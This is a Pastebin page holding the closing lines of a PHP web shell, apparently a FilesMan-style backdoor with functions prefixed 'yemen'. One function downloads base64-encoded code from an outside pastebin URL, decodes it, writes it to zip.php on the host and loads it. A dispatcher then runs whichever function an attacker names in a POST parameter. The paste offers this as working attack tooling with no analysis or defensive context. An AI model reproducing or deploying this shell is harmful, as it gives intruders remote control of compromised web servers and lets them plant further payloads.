  1930.     echo '<iframe src="zonejoy.php" style="height:500px; width:1500px; border:0px;" name="zonejoy" />>';
  1931.     yemenfooter();
  1932. }
  1933. function yemenzip() {
  1934.     yemenhead();
  1935.     $zip1 = file_get_contents('http://pastebin.com/raw.php?i=bTR5Pb38');
  1936.     $file = fopen("zip.php", "w+");
  1937.     $write = fwrite($file, base64_decode($zip1));
  1938.     fclose($file);
  1939.     echo '<iframe src="zip.php" style="height:500px; width:1500px; border:0px;" name="zip">';
  1940.     yemenfooter();
  1941. }
  1942. if (empty($_POST['a'])) if (isset($default_action) && function_exists('yemen' . $default_action)) $_POST['a'] = $default_action;
  1943. else $_POST['a'] = 'FilesMan';
  1944. if (!empty($_POST['a']) && function_exists('yemen' . $_POST['a'])) call_user_func('yemen' . $_POST['a']);
  1945. exit;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!